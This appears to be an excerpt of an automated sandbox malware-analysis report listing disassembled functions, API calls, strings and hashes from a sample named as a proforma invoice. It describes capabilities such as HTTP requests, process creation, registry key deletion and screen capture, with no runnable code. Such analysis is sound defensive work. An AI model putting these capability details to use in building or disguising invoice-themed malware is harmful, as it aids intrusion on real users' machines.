Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: Window$ItemMessageText$RectSend$ClientDesktopIconLoadMovePostTimer_wcslen
String ID:
API String ID: 895679908-0
Opcode ID: c4e428d20e91a7d7c8614166c35f20455bc3e75333c82f486c038fc78b5aefa1
Instruction ID: 34d14aec29990b82ac82f2047ebb9579a4331ef16674c094e716e09d4ea77adf
Opcode Fuzzy Hash: c4e428d20e91a7d7c8614166c35f20455bc3e75333c82f486c038fc78b5aefa1
Instruction Fuzzy Hash: EA716031900B05AFDB20EFA9CD85E6EBBF5FF48704F104A29E542A26A0D775F944CB58

Function 004830F7 Relevance: 26.6, APIs: 8, Strings: 7, Instructions: 400COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 0048318D
_wcslen.LIBCMT ref: 004831F8

Strings

NAME, xrefs: 00483335, 00483346
[N, xrefs: 0048339A
CLASS, xrefs: 00483188, 004831A5
INSTANCE, xrefs: 00483453
CLASSNN, xrefs: 004831F3, 00483204
REGEXPCLASS, xrefs: 00483255, 00483266
TEXT, xrefs: 0048347C

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: _wcslen
String ID: CLASS$CLASSNN$INSTANCE$NAME$REGEXPCLASS$TEXT$[N
API String ID: 176396367-1901738985
Opcode ID: 5f9d8d1514f9208ef6df96a0677cd2796ef760310de45da988d3ab8ac8a93857
Instruction ID: 51bd0744859d7a1a182a7fbcc4a60f40ca96274954b3fb8e6b0c79d91fa18c35
Opcode Fuzzy Hash: 5f9d8d1514f9208ef6df96a0677cd2796ef760310de45da988d3ab8ac8a93857
Instruction Fuzzy Hash: E5E11631A00516ABCB14FF79C4417EEBBB0BF44F15F54892BE856B7240DB38AE858798

Function 004400C6 Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 81COMMON

Download Yara Rule

APIs

__scrt_initialize_thread_safe_statics_platform_specific.LIBCMT ref: 004400C6

Part of subcall function 004400ED: InitializeCriticalSectionAndSpinCount.KERNEL32(004F070C,00000FA0,49B9EEB6,?,?,?,?,004623B3,000000FF), ref: 0044011C
Part of subcall function 004400ED: GetModuleHandleW.KERNEL32(api-ms-win-core-synch-l1-2-0.dll,?,?,?,?,004623B3,000000FF), ref: 00440127
Part of subcall function 004400ED: GetModuleHandleW.KERNEL32(kernel32.dll,?,?,?,?,004623B3,000000FF), ref: 00440138
Part of subcall function 004400ED: GetProcAddress.KERNEL32(00000000,InitializeConditionVariable), ref: 0044014E
Part of subcall function 004400ED: GetProcAddress.KERNEL32(00000000,SleepConditionVariableCS), ref: 0044015C
Part of subcall function 004400ED: GetProcAddress.KERNEL32(00000000,WakeAllConditionVariable), ref: 0044016A
Part of subcall function 004400ED: __crt_fast_encode_pointer.LIBVCRUNTIME ref: 00440195
Part of subcall function 004400ED: __crt_fast_encode_pointer.LIBVCRUNTIME ref: 004401A0

___scrt_fastfail.LIBCMT ref: 004400E7

Part of subcall function 004400A3: __onexit.LIBCMT ref: 004400A9

Strings

kernel32.dll, xrefs: 00440133
SleepConditionVariableCS, xrefs: 00440154
InitializeConditionVariable, xrefs: 00440148
api-ms-win-core-synch-l1-2-0.dll, xrefs: 00440122
WakeAllConditionVariable, xrefs: 00440162

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: AddressProc$HandleModule__crt_fast_encode_pointer$CountCriticalInitializeSectionSpin___scrt_fastfail__onexit__scrt_initialize_thread_safe_statics_platform_specific
String ID: InitializeConditionVariable$SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 66158676-1714406822
Opcode ID: 411940ad8ffcd6f9f0839da535e99d69f72334cd12abd0fbfaeb3ed687c8bd4a
Instruction ID: 20e953e0ae749f2c24914de50ee6759394fe2179b4abbe8f900eb611ee766be0
Opcode Fuzzy Hash: 411940ad8ffcd6f9f0839da535e99d69f72334cd12abd0fbfaeb3ed687c8bd4a
Instruction Fuzzy Hash: 15210B32A447106BF7106BA5ACC6B6A33D8DF44B51F10023BFA05A2392DB7D9C108EAC

Function 004944C0 Relevance: 24.8, APIs: 7, Strings: 7, Instructions: 309COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(00000000,00000000,004BCC08), ref: 00494527
_wcslen.LIBCMT ref: 0049453B
_wcslen.LIBCMT ref: 00494599
_wcslen.LIBCMT ref: 004945F4
_wcslen.LIBCMT ref: 0049463F
_wcslen.LIBCMT ref: 004946A7

Part of subcall function 0043F9F2: _wcslen.LIBCMT ref: 0043F9FD

GetDriveTypeW.KERNEL32(?,004E6BF0,00000061), ref: 00494743

Strings

cdrom, xrefs: 0049458F, 00494594
network, xrefs: 0049469D, 004946A2
fixed, xrefs: 00494635, 0049463A
removable, xrefs: 004945EA, 004945EF
ramdisk, xrefs: 004946F1
all, xrefs: 00494531, 00494536
unknown, xrefs: 00494708

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: _wcslen$BuffCharDriveLowerType
String ID: all$cdrom$fixed$network$ramdisk$removable$unknown
API String ID: 2055661098-1000479233
Opcode ID: 32b96b14e57f1c3454b42a9f034a5d213cad642c465ccc40536054e297e772a2
Instruction ID: e3a8e17fc955702dbd9411d7688f22329fba12ac50284da01779da595b274790
Opcode Fuzzy Hash: 32b96b14e57f1c3454b42a9f034a5d213cad642c465ccc40536054e297e772a2
Instruction Fuzzy Hash: 22B10F716083129FCB10DF29C890E6BBBE4AFE5764F50492EF09687291D738DC46CA5A

Function 004B911E Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 181windowfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00439BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 00439BB2

DragQueryPoint.SHELL32(?,?), ref: 004B9147

Part of subcall function 004B7674: ClientToScreen.USER32(?,?), ref: 004B769A
Part of subcall function 004B7674: GetWindowRect.USER32(?,?), ref: 004B7710
Part of subcall function 004B7674: PtInRect.USER32(?,?,004B8B89), ref: 004B7720

SendMessageW.USER32(?,000000B0,?,?), ref: 004B91B0
DragQueryFileW.SHELL32(?,000000FF,00000000,00000000), ref: 004B91BB
DragQueryFileW.SHELL32(?,00000000,?,00000104), ref: 004B91DE
SendMessageW.USER32(?,000000C2,00000001,?), ref: 004B9225
SendMessageW.USER32(?,000000B0,?,?), ref: 004B923E
SendMessageW.USER32(?,000000B1,?,?), ref: 004B9255
SendMessageW.USER32(?,000000B1,?,?), ref: 004B9277
DragFinish.SHELL32(?), ref: 004B927E
DefDlgProcW.USER32(?,00000233,?,00000000,?,?,?), ref: 004B9371

Strings

@GUI_DROPID, xrefs: 004B929E
@GUI_DRAGFILE, xrefs: 004B9320
@GUI_DRAGID, xrefs: 004B92E9
p#O, xrefs: 004B92BB

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: MessageSend$Drag$Query$FileRectWindow$ClientFinishLongPointProcScreen
String ID: @GUI_DRAGFILE$@GUI_DRAGID$@GUI_DROPID$p#O
API String ID: 221274066-2519363676
Opcode ID: cad6ba9f2df95d591a52cfec6a0b147e87166ab1cb19f6d015f31bc064c4b199
Instruction ID: 40fa824bdef83bda593f1870300ed7f5299a95d450a06643056b6eb5c672b39f
Opcode Fuzzy Hash: cad6ba9f2df95d591a52cfec6a0b147e87166ab1cb19f6d015f31bc064c4b199
Instruction Fuzzy Hash: D3618D71108301AFC701DF61DC85DAFBBE8EF99354F400A2EF591931A0DB749A49CB6A

Function 004AAFF9 Relevance: 24.4, APIs: 16, Instructions: 418processCOMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 004AB198
GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 004AB1B0
GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 004AB1D4
_wcslen.LIBCMT ref: 004AB200
GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 004AB214
GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 004AB236
_wcslen.LIBCMT ref: 004AB332

Part of subcall function 004905A7: GetStdHandle.KERNEL32(000000F6), ref: 004905C6

_wcslen.LIBCMT ref: 004AB34B
_wcslen.LIBCMT ref: 004AB366
CreateProcessW.KERNEL32(00000000,?,00000000,00000000,?,?,00000000,?,?,?), ref: 004AB3B6
GetLastError.KERNEL32(00000000), ref: 004AB407
CloseHandle.KERNEL32(?), ref: 004AB439
CloseHandle.KERNEL32(00000000), ref: 004AB44A
CloseHandle.KERNEL32(00000000), ref: 004AB45C
CloseHandle.KERNEL32(00000000), ref: 004AB46E
CloseHandle.KERNEL32(?), ref: 004AB4E3

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: Handle$Close_wcslen$Directory$CurrentSystem$CreateErrorLastProcess
String ID:
API String ID: 2178637699-0
Opcode ID: d459fbb12c054b0c038ae548d7fa9f3e94438ae1080a71830bbd764f52460eb7
Instruction ID: bc5367185fceef5c8ef636e2b4de92bcb22e564d2897603047f0702f10e09708
Opcode Fuzzy Hash: d459fbb12c054b0c038ae548d7fa9f3e94438ae1080a71830bbd764f52460eb7
Instruction Fuzzy Hash: 63F19D316082409FC714EF25C881B6FBBE1EF85318F14855EF8959B2A2CB39DC45CB9A

Function 0042326F Relevance: 23.0, APIs: 12, Strings: 1, Instructions: 214windowCOMMON

Download Yara Rule

APIs

GetMenuItemCount.USER32(004F1990), ref: 00462F8D
GetMenuItemCount.USER32(004F1990), ref: 0046303D
GetCursorPos.USER32(?), ref: 00463081
SetForegroundWindow.USER32(00000000), ref: 0046308A
TrackPopupMenuEx.USER32(004F1990,00000000,?,00000000,00000000,00000000), ref: 0046309D
PostMessageW.USER32(00000000,00000000,00000000,00000000), ref: 004630A9

Strings

0, xrefs: 0042327D

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: Menu$CountItem$CursorForegroundMessagePopupPostTrackWindow
String ID: 0
API String ID: 36266755-4108050209
Opcode ID: 76f0021689fa0a26056ce64d3bb505b319df8951699771b7281de34b638224c2
Instruction ID: 3fcee39a24a7f0b58746034d41d19c11c5f0d9e72640ed5bd6fb21ba01f7634b
Opcode Fuzzy Hash: 76f0021689fa0a26056ce64d3bb505b319df8951699771b7281de34b638224c2
Instruction Fuzzy Hash: 63711630640615BEEB258F24DD89FAABF79FF04324F204217F514662E0D7B9A910D79A

Function 004B6CD9 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 194windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,?), ref: 004B6DEB

Part of subcall function 00426B57: _wcslen.LIBCMT ref: 00426B6A

CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00000000,?), ref: 004B6E5F
SendMessageW.USER32(00000000,00000433,00000000,00000030), ref: 004B6E81
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 004B6E94
DestroyWindow.USER32(?), ref: 004B6EB5
CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00420000,00000000), ref: 004B6EE4
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 004B6EFD
GetDesktopWindow.USER32 ref: 004B6F16
GetWindowRect.USER32(00000000), ref: 004B6F1D
SendMessageW.USER32(00000000,00000418,00000000,?), ref: 004B6F35
SendMessageW.USER32(00000000,00000421,?,00000000), ref: 004B6F4D

Part of subcall function 00439944: GetWindowLongW.USER32(?,000000EB), ref: 00439952

Strings

tooltips_class32, xrefs: 004B6E58, 004B6EDD
0, xrefs: 004B6D98

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: Window$MessageSend$CreateDestroy$DesktopLongRect_wcslen
String ID: 0$tooltips_class32
API String ID: 2429346358-3619404913
Opcode ID: bf822c73ce773335369f27f74de272e43447f6f26297bcb0fe420d8f7ca8ff16
Instruction ID: 1745299b20319ee704297ed08a37dc6f4cfe56a2e4e763e6e7b55432a7504135
Opcode Fuzzy Hash: bf822c73ce773335369f27f74de272e43447f6f26297bcb0fe420d8f7ca8ff16
Instruction Fuzzy Hash: 88716871504244AFDB21CF18D884FBBBBE9EB99304F55052EF98987261C778E906CB29

Function 0049C476 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 143networkCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 0049C4B0
GetLastError.KERNEL32(?,00000003,?,?,?,?,?,?), ref: 0049C4C3
SetEvent.KERNEL32(?,?,00000003,?,?,?,?,?,?), ref: 0049C4D7
HttpOpenRequestW.WININET(00000000,00000000,?,00000000,00000000,00000000,?,00000000), ref: 0049C4F0
InternetQueryOptionW.WININET(00000000,0000001F,?,?), ref: 0049C533
InternetSetOptionW.WININET(00000000,0000001F,00000100,00000004), ref: 0049C549
HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0049C554
HttpQueryInfoW.WININET(00000000,00000005,?,?,?), ref: 0049C584
GetLastError.KERNEL32(?,00000003,?,?,?,?,?,?), ref: 0049C5DC
SetEvent.KERNEL32(?,?,00000003,?,?,?,?,?,?), ref: 0049C5F0
InternetCloseHandle.WININET(00000000), ref: 0049C5FB

Strings

, xrefs: 0049C575

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: Internet$Http$ErrorEventLastOptionQueryRequest$CloseConnectHandleInfoOpenSend
String ID:
API String ID: 3800310941-3916222277
Opcode ID: cccc4fe145fc9771d6abc857b0ec65ad1571c89cb7992b8e045591e13f1d361e
Instruction ID: a94ecf2dbe28d82360b962dfd6a64660a03ee993e6d95651826114a3a9af484b
Opcode Fuzzy Hash: cccc4fe145fc9771d6abc857b0ec65ad1571c89cb7992b8e045591e13f1d361e
Instruction Fuzzy Hash: 93514BB1500209BFEF219F61C9C8AAB7FFCFF08754F00452AF94596250DB38E9449BA9

Function 004B856F Relevance: 22.6, APIs: 15, Instructions: 131filecommemoryCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000,00000000,?,?,?,?,?,00000000,?,000000EC), ref: 004B8592
GetFileSize.KERNEL32(00000000,00000000,?,?,?,?,00000000,?,000000EC,?,000000F0), ref: 004B85A2
GlobalAlloc.KERNEL32(00000002,00000000,?,?,?,?,00000000,?,000000EC,?,000000F0), ref: 004B85AD
CloseHandle.KERNEL32(00000000,?,?,?,?,00000000,?,000000EC,?,000000F0), ref: 004B85BA
GlobalLock.KERNEL32(00000000,?,?,?,?,00000000,?,000000EC,?,000000F0), ref: 004B85C8
ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000,?,?,?,?,00000000,?,000000EC,?,000000F0), ref: 004B85D7
GlobalUnlock.KERNEL32(00000000,?,?,?,?,00000000,?,000000EC,?,000000F0), ref: 004B85E0
CloseHandle.KERNEL32(00000000,?,?,?,?,00000000,?,000000EC,?,000000F0), ref: 004B85E7
CreateStreamOnHGlobal.OLE32(00000000,00000001,000000F0,?,?,?,?,00000000,?,000000EC,?,000000F0), ref: 004B85F8
OleLoadPicture.OLEAUT32(000000F0,00000000,00000000,004BFC38,?), ref: 004B8611
GlobalFree.KERNEL32(00000000), ref: 004B8621
GetObjectW.GDI32(?,00000018,?), ref: 004B8641
CopyImage.USER32(?,00000000,00000000,?,00002000), ref: 004B8671
DeleteObject.GDI32(?), ref: 004B8699
SendMessageW.USER32(?,00000172,00000000,00000000), ref: 004B86AF

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: Global$File$CloseCreateHandleObject$AllocCopyDeleteFreeImageLoadLockMessagePictureReadSendSizeStreamUnlock
String ID:
API String ID: 3840717409-0
Opcode ID: b0b46fdb2ff911a009ad9530e88b7d9ce4ccf1cfa3256e2d06f3a9f65dcd3653
Instruction ID: 1f42d503213cc3cda3856e3fe0efc81056e5de9c30a99e05184b91920fda64f7
Opcode Fuzzy Hash: b0b46fdb2ff911a009ad9530e88b7d9ce4ccf1cfa3256e2d06f3a9f65dcd3653
Instruction Fuzzy Hash: 0A410875600209BFDB119FA5CC88EAB7BBCEB89711F104569F909E7260DB349901CB68

Function 004914BD Relevance: 21.4, APIs: 10, Strings: 2, Instructions: 360timeCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(00000000), ref: 00491502
VariantCopy.OLEAUT32(?,?), ref: 0049150B
VariantClear.OLEAUT32(?), ref: 00491517
VariantTimeToSystemTime.OLEAUT32(?,?,?), ref: 004915FB
VarR8FromDec.OLEAUT32(?,?), ref: 00491657
VariantInit.OLEAUT32(?), ref: 00491708
SysFreeString.OLEAUT32(?), ref: 0049178C
VariantClear.OLEAUT32(?), ref: 004917D8
VariantClear.OLEAUT32(?), ref: 004917E7
VariantInit.OLEAUT32(00000000), ref: 00491823

Strings

%4d%02d%02d%02d%02d%02d, xrefs: 00491625
Default, xrefs: 004916AF

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: Variant$ClearInit$Time$CopyFreeFromStringSystem
String ID: %4d%02d%02d%02d%02d%02d$Default
API String ID: 1234038744-3931177956
Opcode ID: 4aaddf463f411bbb07fda8315b755028a38698b2d91d39e5f2d19a7bbcf1f3b9
Instruction ID: 90110bf50ce5707283f2dd0c01043c8b72eff1871b730d4d3f450bcdd3243774
Opcode Fuzzy Hash: 4aaddf463f411bbb07fda8315b755028a38698b2d91d39e5f2d19a7bbcf1f3b9
Instruction Fuzzy Hash: 81D10471A00116EBDF009F66D884B7DBBB1BF44710F56806BF4469B2A0DB38DC46DB6A

Function 004AB60E Relevance: 21.3, APIs: 10, Strings: 2, Instructions: 285registrylibraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00429CB3: _wcslen.LIBCMT ref: 00429CBD

Part of subcall function 004AC998: CharUpperBuffW.USER32(?,?,?,?,?,?,?,004AB6AE,?,?), ref: 004AC9B5
Part of subcall function 004AC998: _wcslen.LIBCMT ref: 004AC9F1
Part of subcall function 004AC998: _wcslen.LIBCMT ref: 004ACA68
Part of subcall function 004AC998: _wcslen.LIBCMT ref: 004ACA9E

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 004AB6F4
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 004AB772
RegDeleteValueW.ADVAPI32(?,?), ref: 004AB80A
RegCloseKey.ADVAPI32(?), ref: 004AB87E
RegCloseKey.ADVAPI32(?), ref: 004AB89C
LoadLibraryA.KERNEL32(advapi32.dll), ref: 004AB8F2
GetProcAddress.KERNEL32(00000000,RegDeleteKeyExW), ref: 004AB904
RegDeleteKeyW.ADVAPI32(?,?), ref: 004AB922
FreeLibrary.KERNEL32(00000000), ref: 004AB983
RegCloseKey.ADVAPI32(00000000), ref: 004AB994

Strings

advapi32.dll, xrefs: 004AB8ED
RegDeleteKeyExW, xrefs: 004AB8FE

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: _wcslen$Close$DeleteLibrary$AddressBuffCharConnectFreeLoadOpenProcRegistryUpperValue
String ID: RegDeleteKeyExW$advapi32.dll
API String ID: 146587525-4033151799
Opcode ID: 06f15a34957eb7d40cfaf967ab8ee3579bb5e8a40c03840094ae9b1d595da268
Instruction ID: b9cc7c2162b91778004ee0e1d176901b088042cd126e03e01bec389453ce354f
Opcode Fuzzy Hash: 06f15a34957eb7d40cfaf967ab8ee3579bb5e8a40c03840094ae9b1d595da268
Instruction Fuzzy Hash: 36C19A74208201AFC710DF15C494B2ABBE5FF95308F54855EE49A8B3A2CB79EC46CBD6

Function 004A255C Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 169windowCOMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 004A25D8
CreateCompatibleBitmap.GDI32(00000000,?,?), ref: 004A25E8
CreateCompatibleDC.GDI32(?), ref: 004A25F4
SelectObject.GDI32(00000000,?), ref: 004A2601
StretchBlt.GDI32(?,00000000,00000000,?,?,?,00000006,?,?,?,00CC0020), ref: 004A266D
GetDIBits.GDI32(?,?,00000000,00000000,00000000,00000028,00000000), ref: 004A26AC
GetDIBits.GDI32(?,?,00000000,?,00000000,00000028,00000000), ref: 004A26D0
SelectObject.GDI32(?,?), ref: 004A26D8
DeleteObject.GDI32(?), ref: 004A26E1
DeleteDC.GDI32(?), ref: 004A26E8
ReleaseDC.USER32(00000000,?), ref: 004A26F3

Strings

(, xrefs: 004A268D

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: Object$BitsCompatibleCreateDeleteSelect$BitmapReleaseStretch
String ID: (
API String ID: 2598888154-3887548279
